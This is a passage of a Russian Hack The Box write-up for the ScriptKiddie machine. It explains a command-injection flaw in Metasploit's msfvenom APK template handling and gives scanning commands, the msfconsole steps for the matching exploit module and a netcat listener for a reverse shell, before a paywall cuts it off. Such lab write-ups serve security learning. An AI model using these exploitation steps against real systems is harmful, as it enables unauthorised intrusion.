В Metasploit Framework тоже быва­ют уяз­вимос­ти, и в этой статье мы про­экс­плу­ати­руем одну из них. Через баг в поль­зователь­ском скрип­те мы зах­ватим дру­гого поль­зовате­ля, что при­ведет к повыше­нию при­виле­гий. Все это и кое‑что еще — в рам­ках про­хож­дения лег­кой машины ScriptKiddie с пло­щад­ки Hack The Box.

warning

Под­клю­чать­ся к машинам с HTB рекомен­дует­ся толь­ко через VPN. Не делай это­го с компь­юте­ров, где есть важ­ные для тебя дан­ные, так как ты ока­жешь­ся в общей сети с дру­гими учас­тни­ками.

 

Разведка

 

Сканирование портов

IP машины — 10.10.10.226, добав­ляем его в /etc/hosts:

10.10.10.226 scriptkiddie.htb

И ска­ниру­ем пор­ты моим тра­дици­онным скрип­том:

#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1
Результат работы скрипта
Ре­зуль­тат работы скрип­та

От­кры­тых пор­та два: 22 (служ­ба SSH) и 5000 (Werkzeug). Паролей у нас нет, поэто­му на SSH пока что делать нечего. Будем «про­бивать» порт 5000, где нас встре­чает стра­ница с обе­щающим заголов­ком k1d'5 h4ck3r t00l5. Уже инте­рес­но!

Страница k1d
Стра­ница k1d'5 h4ck3r t00l5

Стра­ница поделе­на на области, в каж­дой из которых есть поля для вво­да. Пер­вое поле при­нима­ет IP-адрес для ска­ниро­вания 100 пор­тов с помощью Nmap, вто­рая область слу­жит для генери­рова­ния наг­рузки Meterpreter с помощью MSFvenom и тре­бует ука­зать опе­раци­онную сис­тему ата­куемо­го хос­та и IP хос­та для отсту­ка, при этом есть воз­можность исполь­зовать файл шаб­лона. В пос­ледней области прос­то выпол­няет­ся поиск экс­пло­итов с помощью ути­литы searchsploit.

Пример нагрузки, сгенерированной с помощью веб-сервиса
При­мер наг­рузки, сге­нери­рован­ной с помощью веб‑сер­виса
 

Закрепление

Здесь уже сто­ит подумать о том, как получить RCE. Есть два пути:

  • тес­тирова­ние полей на воз­можность инъ­екций команд ОС, так как вве­ден­ные дан­ные будут переда­ны как аргу­мент к соот­ветс­тву­ющей прог­рамме в коман­дной стро­ке;
  • тес­тирова­ние фор­мы заг­рузки фай­ла.

Так как тес­тирова­ние вто­рого вари­анта зай­мет мень­ше вре­мени, сра­зу нач­нем с него. Заг­рузка фай­лов .php и тому подоб­ных резуль­татов не дала, поэто­му перей­дем к заг­рузке более легитим­ных фай­лов — .apk. На сер­вере исполь­зует­ся Metasploit Framework, и в нем, что неуди­витель­но, тоже сущес­тву­ют уяз­вимос­ти. Куда забав­нее тот факт, что для MSF есть модули, которые сами эти уяз­вимос­ти и экс­плу­ати­руют.

Для мно­гих типов наг­рузок, которые пре­дос­тавля­ет msfvenom, он поз­воля­ет поль­зовате­лю ука­зать шаб­лон (опция -x). Даже если ты такую опцию не исполь­зуешь, msfvenom все рав­но будет при­менять свой шаб­лон. Но в модуле, который генери­рует наг­рузку с исполь­зовани­ем шаб­лона фай­ла APK, есть уяз­вимость, свя­зан­ная с внед­рени­ем команд. MSF генери­рует наг­рузку сле­дующим обра­зом:

  1. В фун­кции parse_orig_cert_data (ис­ходный код) исполь­зует­ся keytool для извле­чения поля Owner из под­писи APK, а так­же мет­ки вре­мени.
  2. В фун­кции backdoor_apk исполь­зует­ся keytool для генери­рова­ния нового клю­ча под­писи и самоза­веря­юще­гося сер­тифика­та на осно­ве све­дений, извле­чен­ных из фай­ла APK (ис­ходный код).
  3. Да­лее в той же фун­кции backdoor_apk про­исхо­дит де­ком­пиляция APK-фай­ла, при­меня­ется син­такси­чес­кий ана­лиза­тор XML для ана­лиза фай­ла манифес­та, внед­рение полез­ной наг­рузки, пе­рес­борка APK, при­меня­ется jarsigner для под­писи фай­ла APK.

Уяз­вимость зак­люча­ется в исполь­зовании ути­литы keytool на вто­ром шаге, так как про­исхо­дит выпол­нение через коман­дную стро­ку.

keytool -genkey -v -keystore #{keystore} -alias #{keyalias} -storepass #{storepass} -keypass #{keypass} -keyalg RSA -keysize 2048 -startdate '#{orig_cert_startdate}' -validity #{orig_cert_validity} -dname '#{orig_cert_dname}'

При этом зна­чение orig_cert_dname было получе­но на эта­пе 1, при ана­лизе исходно­го APK и извле­чении поля Owner из под­писи APK. Эта коман­да переда­ется в фун­кцию Open3.popen3(), которая, если исполь­зует­ся все­го один параметр, работа­ет, как и фун­кция system(). Это дает воз­можность инжектить коман­ды ОС, если поле Owner из под­писи APK будет содер­жать оди­нар­ную кавыч­ку и далее кон­вей­ер команд коман­дной стро­ки, завер­шающий­ся сим­волом ком­мента­рия (#).

Metasploit Framework поз­воля­ет нам соз­дать шаб­лон APK с уже встро­енным бэк­дором. Для это­го исполь­зуем модуль metasploit_msfvenom_apk_template_cmd_injection, а в качес­тве парамет­ров нуж­но ука­зать лишь локаль­ные адрес хос­та и порт.

msfconsole
use exploit/unix/fileformat/metasploit_msfvenom_apk_template_cmd_injection
set LHOST [ip]
set LPORT [port]
run
Генерирование шаблона файла APK с бэкдором
Ге­нери­рова­ние шаб­лона фай­ла APK с бэк­дором

Так как мы будем выпол­нять бэк­коннект, то сна­чала необ­ходимо соз­дать лис­тенер, который будет при­нимать соеди­нение. Я буду исполь­зовать rlwrap и netcat.

apt install rlwrap
rlwrap nc -lvp [port]

А теперь заг­ружа­ем сге­нери­рован­ный файл и получа­ем бэк­коннект.

Загрузка сгенерированного файла на сервер
Заг­рузка сге­нери­рован­ного фай­ла на сер­вер
Флаг пользователя
Флаг поль­зовате­ля

Продолжение доступно только участникам

Вариант 1. Присоединись к сообществу «Xakep.ru», чтобы читать все материалы на сайте

Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», позволит скачивать выпуски в PDF, отключит рекламу на сайте и увеличит личную накопительную скидку! Подробнее

Вариант 2. Открой один материал

Заинтересовала статья, но нет возможности стать членом клуба «Xakep.ru»? Тогда этот вариант для тебя! Обрати внимание: этот способ подходит только для статей, опубликованных более двух месяцев назад.


  • Подпишись на наc в Telegram!

    Только важные новости и лучшие статьи

    Подписаться

  • Подписаться
    Уведомить о
    1 Комментарий
    Старые
    Новые Популярные
    Межтекстовые Отзывы
    Посмотреть все комментарии